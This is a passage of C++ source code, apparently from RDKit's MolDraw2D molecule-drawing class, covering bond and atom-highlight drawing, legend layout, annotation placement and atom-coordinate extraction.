extractVariableBonds(*rwmol);\n  extractBrackets(*rwmol);\n  extractMolNotes(*rwmol);\n  extractLinkNodes(*rwmol);\n\n  // set everything to as it was before.\n  scale_ = curr_scale;\n  text_drawer_->setFontScale(curr_font_scale, true);\n  x_trans_ = curr_x_trans;\n  y_trans_ = curr_y_trans;\n  x_offset_ = curr_x_offset;\n  y_offset_ = curr_y_offset;\n  x_min_ = curr_x_min;\n  y_min_ = curr_y_min;\n\n  if (!activeMolIdx_ && needs_scale_) {\n    calculateScale(width, height, *rwmol, highlight_atoms, highlight_radii,\n                   confId);\n    needs_scale_ = false;\n  }\n\n  return rwmol;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::pushDrawDetails() {\n  at_cds_.push_back(std::vector<Point2D>());\n  atomic_nums_.push_back(std::vector<int>());\n  atom_syms_.push_back(std::vector<std::pair<std::string, OrientType>>());\n  annotations_.push_back(std::vector<AnnotationType>());\n  pre_shapes_.push_back(std::vector<MolDrawShape>());\n  post_shapes_.push_back(std::vector<MolDrawShape>());\n  radicals_.push_back(\n      std::vector<std::pair<std::shared_ptr<StringRect>, OrientType>>());\n  activeMolIdx_++;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::popDrawDetails() {\n  activeMolIdx_--;\n  annotations_.pop_back();\n  pre_shapes_.pop_back();\n  post_shapes_.pop_back();\n  atom_syms_.pop_back();\n  atomic_nums_.pop_back();\n  radicals_.pop_back();\n  at_cds_.pop_back();\n}\n\n// ****************************************************************************\nunique_ptr<RWMol> MolDraw2D::initMoleculeDraw(\n    const ROMol &mol, const vector<int> *highlight_atoms,\n    const map<int, double> *highlight_radii, int confId) {\n  unique_ptr<RWMol> rwmol =\n      setupDrawMolecule(mol, highlight_atoms, highlight_radii, confId,\n                        panelWidth(), drawHeight());\n  ROMol const &draw_mol = rwmol ? *(rwmol) : mol;\n\n  // by this point the scale is calculated\n  if (needs_init_) {\n    initDrawing();\n    needs_init_ = false;\n  }\n  if (!activeMolIdx_) {\n    if (drawOptions().clearBackground) {\n      clearDrawing();\n    }\n  }\n\n  if (drawOptions().includeAtomTags) {\n    tagAtoms(draw_mol);\n  }\n  if (drawOptions().atomRegions.size()) {\n    for (const std::vector<int> &region : drawOptions().atomRegions) {\n      if (region.size() > 1) {\n        Point2D minv = at_cds_[activeMolIdx_][region[0]];\n        Point2D maxv = at_cds_[activeMolIdx_][region[0]];\n        for (int idx : region) {\n          const Point2D &pt = at_cds_[activeMolIdx_][idx];\n          minv.x = std::min(minv.x, pt.x);\n          minv.y = std::min(minv.y, pt.y);\n          maxv.x = std::max(maxv.x, pt.x);\n          maxv.y = std::max(maxv.y, pt.y);\n        }\n        Point2D center = (maxv + minv) / 2;\n        Point2D size = (maxv - minv);\n        size *= 0.2;\n        minv -= size / 2;\n        maxv += size / 2;\n        setColour(DrawColour(.8, .8, .8));\n        // drawEllipse(minv,maxv);\n        drawRect(minv, maxv);\n      }\n    }\n  }\n\n  return rwmol;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::setupTextDrawer() {\n  text_drawer_->setMaxFontSize(drawOptions().maxFontSize);\n  text_drawer_->setMinFontSize(drawOptions().minFontSize);\n  try {\n    text_drawer_->setFontFile(drawOptions().fontFile);\n  } catch (std::runtime_error &e) {\n    BOOST_LOG(rdWarningLog) << e.what() << std::endl;\n    text_drawer_->setFontFile(\"\");\n    BOOST_LOG(rdWarningLog) << \"Falling back to original font file \"\n                            << text_drawer_->getFontFile() << \".\" << std::endl;\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawBonds(\n    const ROMol &draw_mol, const vector<int> *highlight_atoms,\n    const map<int, DrawColour> *highlight_atom_map,\n    const vector<int> *highlight_bonds,\n    const map<int, DrawColour> *highlight_bond_map,\n    const std::vector<std::pair<DrawColour, DrawColour>> *bond_colours) {\n  for (auto this_at : draw_mol.atoms()) {\n    int this_idx = this_at->getIdx();\n    for (const auto &nbri :\n         make_iterator_range(draw_mol.getAtomBonds(this_at))) {\n      const Bond *bond = draw_mol[nbri];\n      int nbr_idx = bond->getOtherAtomIdx(this_idx);\n      if (nbr_idx < static_cast<int>(at_cds_[activeMolIdx_].size()) &&\n          nbr_idx > this_idx) {\n        drawBond(draw_mol, bond, this_idx, nbr_idx, highlight_atoms,\n                 highlight_atom_map, highlight_bonds, highlight_bond_map,\n                 bond_colours);\n      }\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::finishMoleculeDraw(const RDKit::ROMol &draw_mol,\n                                   const vector<DrawColour> &atom_colours) {\n  if (drawOptions().dummiesAreAttachments) {\n    for (auto at1 : draw_mol.atoms()) {\n      if (at1->hasProp(common_properties::atomLabel) ||\n          drawOptions().atomLabels.find(at1->getIdx()) !=\n              drawOptions().atomLabels.end()) {\n        // skip dummies that explicitly have a label provided\n        continue;\n      }\n      if (at1->getAtomicNum() == 0 && at1->getDegree() == 1) {\n        Point2D &at1_cds = at_cds_[activeMolIdx_][at1->getIdx()];\n        const auto &iter_pair = draw_mol.getAtomNeighbors(at1);\n        const Atom *at2 = draw_mol[*iter_pair.first];\n        Point2D &at2_cds = at_cds_[activeMolIdx_][at2->getIdx()];\n        drawAttachmentLine(at2_cds, at1_cds, DrawColour(.5, .5, .5));\n      }\n    }\n  }\n\n  for (int i = 0, is = atom_syms_[activeMolIdx_].size(); i < is; ++i) {\n    if (!atom_syms_[activeMolIdx_][i].first.empty()) {\n      drawAtomLabel(i, atom_colours[i]);\n    }\n  }\n  text_drawer_->setColour(drawOptions().annotationColour);\n  if (!supportsAnnotations() && !annotations_.empty()) {\n    BOOST_LOG(rdWarningLog) << \"annotations not currently supported for this \"\n                               \"MolDraw2D class, they will be ignored.\"\n                            << std::endl;\n  } else {\n    for (const auto &annotation : annotations_[activeMolIdx_]) {\n      drawAnnotation(annotation);\n    }\n  }\n\n  if (drawOptions().includeRadicals) {\n    drawRadicals(draw_mol);\n  }\n\n  if (!post_shapes_[activeMolIdx_].empty()) {\n    MolDraw2D_detail::drawShapes(*this, post_shapes_[activeMolIdx_]);\n  }\n\n  if (drawOptions().flagCloseContactsDist >= 0) {\n    highlightCloseContacts();\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawLegend(const string &legend) {\n  int olh = legend_height_;\n  legend_height_ = 0;  // so we use the whole panel\n\n  auto calc_legend_height = [&](const std::vector<std::string> &legend_bits,\n                                double &total_width, double &total_height) {\n    total_width = total_height = 0;\n    for (auto bit : legend_bits) {\n      double x_min, y_min, x_max, y_max;\n      text_drawer_->getStringExtremes(bit, OrientType::N, x_min, y_min, x_max,\n                                      y_max, true);\n      total_height += y_max - y_min;\n      total_width = std::max(total_width, x_max - x_min);\n    }\n  };\n\n  if (!legend.empty()) {\n    std::vector<std::string> legend_bits;\n    // split any strings on newlines\n    string next_piece;\n    for (auto c : legend) {\n      if (c == '\\n') {\n        if (!next_piece.empty()) {\n          legend_bits.push_back(next_piece);\n        }\n        next_piece = \"\";\n      } else {\n        next_piece += c;\n      }\n    }\n    if (!next_piece.empty()) {\n      legend_bits.push_back(next_piece);\n    }\n\n    double o_font_scale = text_drawer_->fontScale();\n    double fsize = text_drawer_->fontSize();\n    double new_font_scale = o_font_scale * drawOptions().legendFontSize / fsize;\n    text_drawer_->setFontScale(new_font_scale, true);\n    double total_width, total_height;\n    calc_legend_height(legend_bits, total_width, total_height);\n    if (total_height > olh) {\n      new_font_scale *= double(olh) / total_height;\n      text_drawer_->setFontScale(new_font_scale, true);\n      calc_legend_height(legend_bits, total_width, total_height);\n    }\n    if (total_width > panelWidth()) {\n      new_font_scale *= double(panelWidth()) / total_width;\n      text_drawer_->setFontScale(new_font_scale, true);\n      calc_legend_height(legend_bits, total_width, total_height);\n    }\n\n    text_drawer_->setColour(drawOptions().legendColour);\n    Point2D loc(x_offset_ + panelWidth() / 2,\n                y_offset_ + panelHeight() - total_height);\n    for (auto bit : legend_bits) {\n      text_drawer_->drawString(bit, loc, TextAlignType::MIDDLE);\n      double x_min, y_min, x_max, y_max;\n      text_drawer_->getStringExtremes(bit, OrientType::N, x_min, y_min, x_max,\n                                      y_max, true);\n      loc.y += y_max - y_min;\n    }\n    text_drawer_->setFontScale(o_font_scale, true);\n  }\n\n  legend_height_ = olh;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawHighlightedAtom(int atom_idx,\n                                    const vector<DrawColour> &colours,\n                                    const map<int, double> *highlight_radii) {\n  double xradius, yradius;\n  Point2D centre;\n\n  calcLabelEllipse(atom_idx, highlight_radii, centre, xradius, yradius);\n\n  int orig_lw = lineWidth();\n  bool orig_fp = fillPolys();\n  if (!drawOptions().fillHighlights) {\n    setLineWidth(getHighlightBondWidth(-1, nullptr));\n    setFillPolys(false);\n  } else {\n    setFillPolys(true);\n  }\n  if (colours.size() == 1) {\n    setColour(colours.front());\n    Point2D offset(xradius, yradius);\n    Point2D p1 = centre - offset;\n    Point2D p2 = centre + offset;\n    if (fillPolys()) {\n      setLineWidth(1);\n    }\n    drawEllipse(p1, p2);\n\n    // drawArc(centre, xradius, yradius, 0.0, 360.0);\n  } else {\n    double arc_size = 360.0 / double(colours.size());\n    double arc_start = -90.0;\n    for (size_t i = 0; i < colours.size(); ++i) {\n      setColour(colours[i]);\n      drawArc(centre, xradius, yradius, arc_start, arc_start + arc_size);\n      arc_start += arc_size;\n    }\n  }\n\n  setFillPolys(orig_fp);\n  setLineWidth(orig_lw);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::calcLabelEllipse(int atom_idx,\n                                 const map<int, double> *highlight_radii,\n                                 Point2D &centre, double &xradius,\n                                 double &yradius) const {\n  centre = at_cds_[activeMolIdx_][atom_idx];\n  xradius = drawOptions().highlightRadius;\n  yradius = xradius;\n  if (highlight_radii &&\n      highlight_radii->find(atom_idx) != highlight_radii->end()) {\n    xradius = highlight_radii->find(atom_idx)->second;\n    yradius = xradius;\n  }\n\n  if (drawOptions().atomHighlightsAreCircles ||\n      atom_syms_[activeMolIdx_][atom_idx].first.empty()) {\n    return;\n  }\n\n  string atsym = atom_syms_[activeMolIdx_][atom_idx].first;\n  OrientType orient = atom_syms_[activeMolIdx_][atom_idx].second;\n  double x_min, y_min, x_max, y_max;\n  getStringExtremes(atsym, orient, centre, x_min, y_min, x_max, y_max);\n\n  static const double root_2 = sqrt(2.0);\n  xradius = max(xradius, root_2 * 0.5 * (x_max - x_min));\n  yradius = max(yradius, root_2 * 0.5 * (y_max - y_min));\n  centre.x = 0.5 * (x_max + x_min);\n  centre.y = 0.5 * (y_max + y_min);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::calcAnnotationPosition(const ROMol &,\n                                       AnnotationType &annot) const {\n  if (annot.text_.empty()) {\n    annot.rect_.width_ = -1.0;  // so we know it's not valid.\n    return;\n  }\n\n  vector<std::shared_ptr<StringRect>> rects;\n  vector<TextDrawType> draw_modes;\n  vector<char> draw_chars;\n\n  // at this point, the scale() should still be 1, so min and max font sizes\n  // don't make sense, as we're effectively operating on atom coords rather\n  // than draw.\n  double full_font_scale = text_drawer_->fontScale();\n  text_drawer_->setFontScale(1, true);\n  text_drawer_->getStringRects(annot.text_, OrientType::N, rects, draw_modes,\n                               draw_chars);\n  text_drawer_->setFontScale(full_font_scale, true);\n  // accumulate the widths of the rectangles so that we have the overall width\n  for (const auto &rect : rects) {\n    annot.rect_.width_ += rect->width_;\n  }\n\n  Point2D centroid{0., 0.};\n  Point2D minPt{100000., 100000.};\n  Point2D maxPt{-100000., -100000.};\n  for (const auto &pt : at_cds_[activeMolIdx_]) {\n    centroid += pt;\n    minPt.x = std::min(pt.x, minPt.x);\n    minPt.y = std::min(pt.y, minPt.y);\n    maxPt.x = std::max(pt.x, maxPt.x);\n    maxPt.y = std::max(pt.y, maxPt.y);\n  }\n  centroid /= at_cds_[activeMolIdx_].size();\n\n  auto vect = maxPt - centroid;\n  auto loc = centroid + vect * 0.9;\n  annot.rect_.trans_ = loc;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::calcAnnotationPosition(const ROMol &mol, const Atom *atom,\n                                       AnnotationType &annot) const {\n  PRECONDITION(atom, \"no atom\");\n  if (annot.text_.empty()) {\n    annot.rect_.width_ = -1.0;  // so we know it's not valid.\n    return;\n  }\n\n  Point2D const &at_cds = at_cds_[activeMolIdx_][atom->getIdx()];\n  annot.rect_.trans_.x = at_cds.x;\n  annot.rect_.trans_.y = at_cds.y;\n  double start_ang = getNoteStartAngle(mol, atom);\n  calcAtomAnnotationPosition(mol, atom, start_ang, annot);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::calcAnnotationPosition(const ROMol &mol, const Bond *bond,\n                                       AnnotationType &annot) const {\n  PRECONDITION(bond, \"no bond\");\n  if (annot.text_.empty()) {\n    annot.rect_.width_ = -1.0;  // so we know it's not valid.\n  }\n  vector<std::shared_ptr<StringRect>> rects;\n  vector<TextDrawType> draw_modes;\n  vector<char> draw_chars;\n\n  // at this point, the scale() should still be 1, so min and max font sizes\n  // don't make sense, as we're effectively operating on atom coords rather\n  // than draw.\n  double full_font_scale = text_drawer_->fontScale();\n  text_drawer_->setFontScale(drawOptions().annotationFontScale, true);\n  text_drawer_->getStringRects(annot.text_, OrientType::N, rects, draw_modes,\n                               draw_chars);\n  text_drawer_->setFontScale(full_font_scale, true);\n\n  Point2D const &at1_cds = at_cds_[activeMolIdx_][bond->getBeginAtomIdx()];\n  Point2D const &at2_cds = at_cds_[activeMolIdx_][bond->getEndAtomIdx()];\n  Point2D perp = calcPerpendicular(at1_cds, at2_cds);\n  Point2D bond_vec = at1_cds.directionVector(at2_cds);\n  double bond_len = (at1_cds - at2_cds).length();\n  vector<double> mid_offsets{0.5, 0.33, 0.66, 0.25, 0.75};\n  double offset_step = drawOptions().multipleBondOffset;\n  StringRect least_worst_rect = StringRect();\n  least_worst_rect.clash_score_ = 100;\n  for (auto mo : mid_offsets) {\n    Point2D mid = at1_cds + bond_vec * bond_len * mo;\n    for (int j = 1; j < 6; ++j) {\n      if (j == 1 && bond->getBondType() > 1) {\n        continue;  // multiple bonds will need a bigger offset.\n      }\n      double offset = j * offset_step;\n      annot.rect_.trans_ = mid + perp * offset;\n      StringRect tr(annot.rect_);\n      Point2D note_pos =\n          getAtomCoords(make_pair(annot.rect_.trans_.x, annot.rect_.trans_.y));\n      int clash_score = doesBondNoteClash(note_pos, rects, mol, bond);\n      if (!clash_score) {\n        return;\n      }\n      if (clash_score < least_worst_rect.clash_score_) {\n        least_worst_rect = annot.rect_;\n      }\n      note_pos = mid - perp * offset;\n      annot.rect_.trans_ = mid - perp * offset;\n      note_pos = getAtomCoords(make_pair(note_pos.x, note_pos.y));\n      clash_score = doesBondNoteClash(note_pos, rects, mol, bond);\n      if (!clash_score) {\n        return;\n      }\n      if (clash_score < least_worst_rect.clash_score_) {\n        least_worst_rect = annot.rect_;\n      }\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::calcAtomAnnotationPosition(const ROMol &mol, const Atom *atom,\n                                           double start_ang,\n                                           AnnotationType &annot) const {\n  Point2D const &at_cds = at_cds_[activeMolIdx_][atom->getIdx()];\n  auto const &atsym = atom_syms_[activeMolIdx_][atom->getIdx()];\n\n  vector<std::shared_ptr<StringRect>> rects;\n  vector<TextDrawType> draw_modes;\n  vector<char> draw_chars;\n\n  // at this point, the scale() should still be 1, so min and max font sizes\n  // don't make sense, as we're effectively operating on atom coords rather\n  // than draw.\n  double full_font_scale = text_drawer_->fontScale();\n  text_drawer_->setFontScale(drawOptions().annotationFontScale, true);\n  text_drawer_->getStringRects(annot.text_, OrientType::C, rects, draw_modes,\n                               draw_chars, false, annot.align_);\n  text_drawer_->setFontScale(full_font_scale, true);\n\n  double rad_step = 0.25;\n  StringRect least_worst_rect = StringRect();\n  least_worst_rect.clash_score_ = 100;\n  for (int j = 1; j < 4; ++j) {\n    double note_rad = j * rad_step;\n    // experience suggests if there's an atom symbol, the close in\n    // radius won't work.\n    if (j == 1 && !atsym.first.empty()) {\n      continue;\n    }\n    // scan at 30 degree intervals around the atom looking for somewhere\n    // clear for the annotation.\n    for (int i = 0; i < 12; ++i) {\n      double ang = start_ang + i * 30.0 * M_PI / 180.0;\n      annot.rect_.trans_.x = at_cds.x + cos(ang) * note_rad;\n      annot.rect_.trans_.y = at_cds.y + sin(ang) * note_rad;\n      Point2D note_pos =\n          getAtomCoords(make_pair(annot.rect_.trans_.x, annot.rect_.trans_.y));\n      int clash_score = doesAtomNoteClash(note_pos, rects, mol, atom->getIdx());\n      if (!clash_score) {\n        return;\n      } else {\n        if (clash_score < least_worst_rect.clash_score_) {\n          least_worst_rect = annot.rect_;\n        }\n      }\n    }\n  }\n  annot.rect_ = least_worst_rect;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawHighlightedBonds(\n    const RDKit::ROMol &mol,\n    const map<int, vector<DrawColour>> &highlight_bond_map,\n    const map<int, int> &highlight_linewidth_multipliers,\n    const map<int, double> *highlight_radii) {\n  int orig_lw = lineWidth();\n  for (auto hb : highlight_bond_map) {\n    int bond_idx = hb.first;\n    if (!drawOptions().fillHighlights) {\n      setLineWidth(\n          getHighlightBondWidth(bond_idx, &highlight_linewidth_multipliers));\n    }\n    auto bond = mol.getBondWithIdx(bond_idx);\n    int at1_idx = bond->getBeginAtomIdx();\n    int at2_idx = bond->getEndAtomIdx();\n    Point2D at1_cds = at_cds_[activeMolIdx_][at1_idx];\n    Point2D at2_cds = at_cds_[activeMolIdx_][at2_idx];\n    Point2D perp = calcPerpendicular(at1_cds, at2_cds);\n    double rad = 0.7 * drawOptions().highlightRadius;\n    auto draw_adjusted_line = [&](Point2D p1, Point2D p2) {\n      adjustLineEndForHighlight(at1_idx, highlight_radii, p2, p1);\n      adjustLineEndForHighlight(at2_idx, highlight_radii, p1, p2);\n      bool orig_lws = drawOptions().scaleBondWidth;\n      drawOptions().scaleBondWidth = drawOptions().scaleHighlightBondWidth;\n      drawLine(p1, p2);\n      drawOptions().scaleBondWidth = orig_lws;\n    };\n\n    if (hb.second.size() < 2) {\n      DrawColour col;\n      if (hb.second.empty()) {\n        col = drawOptions().highlightColour;\n      } else {\n        col = hb.second.front();\n      }\n      setColour(col);\n      if (drawOptions().fillHighlights) {\n        vector<Point2D> line_pts;\n        line_pts.emplace_back(at1_cds + perp * rad);\n        line_pts.emplace_back(at2_cds + perp * rad);\n        line_pts.emplace_back(at2_cds - perp * rad);\n        line_pts.emplace_back(at1_cds - perp * rad);\n        drawPolygon(line_pts);\n      } else {\n        draw_adjusted_line(at1_cds + perp * rad, at2_cds + perp * rad);\n        draw_adjusted_line(at1_cds - perp * rad, at2_cds - perp * rad);\n      }\n    } else {\n      double col_rad = 2.0 * rad / hb.second.size();\n      if (drawOptions().fillHighlights) {\n        Point2D p1 = at1_cds - perp * rad;\n        Point2D p2 = at2_cds - perp * rad;\n        vector<Point2D> line_pts;\n        for (size_t i = 0; i < hb.second.size(); ++i) {\n          setColour(hb.second[i]);\n          line_pts.clear();\n          line_pts.emplace_back(p1);\n          line_pts.emplace_back(p1 + perp * col_rad);\n          line_pts.emplace_back(p2 + perp * col_rad);\n          line_pts.emplace_back(p2);\n          drawPolygon(line_pts);\n          p1 += perp * col_rad;\n          p2 += perp * col_rad;\n        }\n      } else {\n        int step = 0;\n        for (size_t i = 0; i < hb.second.size(); ++i) {\n          setColour(hb.second[i]);\n          // draw even numbers from the bottom, odd from the top\n          Point2D offset = perp * (rad - step * col_rad);\n          if (!(i % 2)) {\n            draw_adjusted_line(at1_cds - offset, at2_cds - offset);\n          } else {\n            draw_adjusted_line(at1_cds + offset, at2_cds + offset);\n            step++;\n          }\n        }\n      }\n    }\n    setLineWidth(orig_lw);\n  }\n}\n\n// ****************************************************************************\nint MolDraw2D::getHighlightBondWidth(\n    int bond_idx, const map<int, int> *highlight_linewidth_multipliers) const {\n  int bwm = drawOptions().highlightBondWidthMultiplier;\n  // if we're not doing filled highlights, the lines need to be narrower\n  if (!drawOptions().fillHighlights) {\n    bwm /= 2;\n    if (bwm < 1) {\n      bwm = 1;\n    }\n  }\n\n  if (highlight_linewidth_multipliers &&\n      !highlight_linewidth_multipliers->empty()) {\n    auto it = highlight_linewidth_multipliers->find(bond_idx);\n    if (it != highlight_linewidth_multipliers->end()) {\n      bwm = it->second;\n    }\n  }\n  int tgt_lw = lineWidth() * bwm;\n  return tgt_lw;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::adjustLineEndForHighlight(\n    int at_idx, const map<int, double> *highlight_radii, Point2D p1,\n    Point2D &p2) const {\n  // this code is transliterated from\n  // http://csharphelper.com/blog/2017/08/calculate-where-a-line-segment-and-an-ellipse-intersect-in-c/\n  // which has it in C#\n  double xradius, yradius;\n  Point2D centre;\n  calcLabelEllipse(at_idx, highlight_radii, centre, xradius, yradius);\n  // cout << \"ellipse is : \" << centre.x << \", \" << centre.y << \" rads \" <<\n  // xradius << \" and \" << yradius << endl; cout << \"p1 = \" << p1.x << \", \" <<\n  // p1.y << endl << \"p2 = \" << p2.x << \", \" << p2.y << endl;\n  if (xradius < 1.0e-6 || yradius < 1.0e-6) {\n    return;\n  }\n\n  // move everything so the ellipse is centred on the origin.\n  p1 -= centre;\n  p2 -= centre;\n  double a2 = xradius * xradius;\n  double b2 = yradius * yradius;\n  double A =\n      (p2.x - p1.x) * (p2.x - p1.x) / a2 + (p2.y - p1.y) * (p2.y - p1.y) / b2;\n  double B = 2.0 * p1.x * (p2.x - p1.x) / a2 + 2.0 * p1.y * (p2.y - p1.y) / b2;\n  double C = p1.x * p1.x / a2 + p1.y * p1.y / b2 - 1.0;\n\n  auto t_to_point = [&](double t) -> Point2D {\n    Point2D ret_val;\n    ret_val.x = p1.x + (p2.x - p1.x) * t + centre.x;\n    ret_val.y = p1.y + (p2.y - p1.y) * t + centre.y;\n    return ret_val;\n  };\n\n  double disc = B * B - 4.0 * A * C;\n  if (disc < 0.0) {\n    // no solutions, leave things as they are.  Bit crap, though.\n    return;\n  } else if (fabs(disc) < 1.0e-6) {\n    // 1 solution\n    double t = -B / (2.0 * A);\n    // cout << \"t = \" << t << endl;\n    p2 = t_to_point(t);\n  } else {\n    // 2 solutions - take the one nearest p1.\n    double disc_rt = sqrt(disc);\n    double t1 = (-B + disc_rt) / (2.0 * A);\n    double t2 = (-B - disc_rt) / (2.0 * A);\n    // cout << \"t1 = \" << t1 << \"  t2 = \" << t2 << endl;\n    double t;\n    // prefer the t between 0 and 1, as that must be between the original\n    // points.  If both are, prefer the lower, as that will be nearest p1,\n    // so on the bit of the ellipse the line comes to first.\n    bool t1_ok = (t1 >= 0.0 && t1 <= 1.0);\n    bool t2_ok = (t2 >= 0.0 && t2 <= 1.0);\n    if (t1_ok && !t2_ok) {\n      t = t1;\n    } else if (t2_ok && !t1_ok) {\n      t = t2;\n    } else if (t1_ok && t2_ok) {\n      t = min(t1, t2);\n    } else {\n      // the intersections are both outside the line between p1 and p2\n      // so don't do anything.\n      return;\n    }\n    // cout << \"using t = \" << t << endl;\n    p2 = t_to_point(t);\n  }\n  // cout << \"p2 = \" << p2.x << \", \" << p2.y << endl;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractAtomCoords(const ROMol &mol, int confId,\n                                  bool updateBBox) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(at_cds_.size()) > activeMolIdx_, \"no space\");\n  PRECONDITION(static_cast<int>(atomic_nums_.size()) > activeMolIdx_,\n               \"no space\");\n  PRECONDITION(static_cast<int>(mol.getNumConformers()) > 0, \"no coords\");\n\n  if (updateBBox) {\n    bbox_[0].x = bbox_[0].y = numeric_limits<double>::max();\n    bbox_[1].x = bbox_[1].y = -1 * numeric_limits<double>::max();\n  }\n  const RDGeom::POINT3D_VECT &locs = mol.getConformer(confId).getPositions();\n\n  // the transformation rotates anti-clockwise, as is conventional, but\n  // probably not what our user expects.\n  double rot = -drawOptions().rotate * M_PI / 180.0;\n  // assuming that if drawOptions().rotate is set to 0.0, rot will be\n  // exactly 0.0 without worrying about floating point number dust.  Does\n  // anyone know if this is true?  It's not the end of the world if not,\n  // as it's just an extra largely pointless rotation.\n  // Floating point numbers are like piles of sand; every time you move\n  // them around, you lose a little sand and pick up a little dirt.\n  // \u2014 Brian Kernighan and P.J. Plauger\n  // Nothing brings fear to my heart more than a floating point number.\n  // \u2014 Gerald Jay Sussman\n  // Some developers, when encountering a problem, say: \u201cI know, I\u2019ll\n  // use floating-point numbers!\u201d   Now, they have 1.9999999997 problems.\n  // \u2014 unknown\n  RDGeom::Transform2D trans;\n  trans.SetTransform(Point2D(0.0, 0.0), rot);\n  at_cds_[activeMolIdx_].clear();\n  for (auto this_at : mol.atoms()) {\n    int this_idx = this_at->getIdx();\n    Point2D pt(locs[this_idx].x, locs[this_idx].y);\n    if (rot != 0.0) {\n      trans.TransformPoint(pt);\n    }\n    at_cds_[activeMolIdx_].emplace_back(pt);\n\n    if (updateBBox) {\n      bbox_[0].x = std::min(bbox_[0].x, pt.x);\n      bbox_[0].y = std::min(bbox_[0].y, pt.y);\n      bbox_[1].x = std::max(bbox_[1].x, pt.x);\n      bbox_[1].y = std::max(bbox_[1].y, pt.y);\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractAtomSymbols(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(atom_syms_.size()) > activeMolIdx_, \"no space\");\n  PRECONDITION(static_cast<int>(atomic_nums_.size()) > activeMolIdx_,\n               \"no space\");\n\n  atomic_nums_[activeMolIdx_].clear();\n  for (auto at1 : mol.atoms()) {\n    atom_syms_[activeMolIdx_].emplace_back(getAtomSymbolAndOrientation(*at1));\n    if (!isComplexQuery(at1)) {\n      atomic_nums_[activeMolIdx_].emplace_back(at1->getAtomicNum());\n    } else {\n      atomic_nums_[activeMolIdx_].push_back(0);\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractAtomNotes(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(annotations_.size()) > activeMolIdx_,\n               \"no space\");\n\n  for (auto atom : mol.atoms()) {\n    std::string note;\n    if (atom->getPropIfPresent(common_properties::atomNote, note)) {\n      if (!note.empty()) {\n        AnnotationType annot;\n        annot.text_ = note;\n        calcAnnotationPosition(mol, atom, annot);\n        if (annot.rect_.width_ < 0.0) {\n          BOOST_LOG(rdWarningLog)\n              << \"Couldn't find good place for note \" << note << \" for atom \"\n              << atom->getIdx() << endl;\n        } else {\n          annotations_[activeMolIdx_].push_back(annot);\n        }\n      }\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractMolNotes(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(annotations_.size()) > activeMolIdx_,\n               \"no space\");\n\n  std::string note;\n  // the molNote property takes priority\n  if (!mol.getPropIfPresent(common_properties::molNote, note)) {\n    unsigned int chiralFlag;\n    if (drawOptions().includeChiralFlagLabel &&\n        mol.getPropIfPresent(common_properties::_MolFileChiralFlag,\n                             chiralFlag) &&\n        chiralFlag) {\n      note = \"ABS\";\n    }\n  }\n\n  if (!note.empty()) {\n    AnnotationType annot;\n    annot.text_ = note;\n    annot.align_ = TextAlignType::START;\n    annot.scaleText_ = false;\n    calcAnnotationPosition(mol, annot);\n    if (annot.rect_.width_ < 0.0) {\n      BOOST_LOG(rdWarningLog)\n          << \"Couldn't find good place for molecule note \" << note << endl;\n    } else {\n      annotations_[activeMolIdx_].push_back(annot);\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractBondNotes(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(annotations_.size()) > activeMolIdx_,\n               \"no space\");\n\n  for (auto bond : mol.bonds()) {\n    std::string note;\n    if (bond->getPropIfPresent(common_properties::bondNote, note)) {\n      if (!note.empty()) {\n        AnnotationType annot;\n        annot.text_ = note;\n        calcAnnotationPosition(mol, bond, annot);\n        if (annot.rect_.width_ < 0.0) {\n          BOOST_LOG(rdWarningLog)\n              << \"Couldn't find good place for note \" << note << \" for bond \"\n              << bond->getIdx() << endl;\n        } else {\n          annotations_[activeMolIdx_].push_back(annot);\n        }\n      }\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractRadicals(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(radicals_.size()) > activeMolIdx_, \"no space\");\n\n  for (auto atom : mol.atoms()) {\n    if (!atom->getNumRadicalElectrons()) {\n      continue;\n    }\n    std::shared_ptr<StringRect> rad_rect(new StringRect);\n    OrientType orient = calcRadicalRect(mol, atom, *rad_rect);\n    radicals_[activeMolIdx_].push_back(make_pair(rad_rect, orient));\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractLinkNodes(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(post_shapes_.size()) > activeMolIdx_,\n               \"no space\");\n  PRECONDITION(static_cast<int>(annotations_.size()) > activeMolIdx_,\n               \"no space\");\n  if (!mol.hasProp(common_properties::molFileLinkNodes)) {\n    return;\n  }\n\n  bool strict = false;\n  auto linkNodes = MolEnumerator::utils::getMolLinkNodes(mol, strict);\n  for (const auto &node : linkNodes) {\n    const double crossingFrac = 0.333;\n    const double lengthFrac = 0.333;\n    Point2D labelPt{-1000, -1000};\n    Point2D labelPerp{0, 0};\n    for (const auto &bAts : node.bondAtoms) {\n    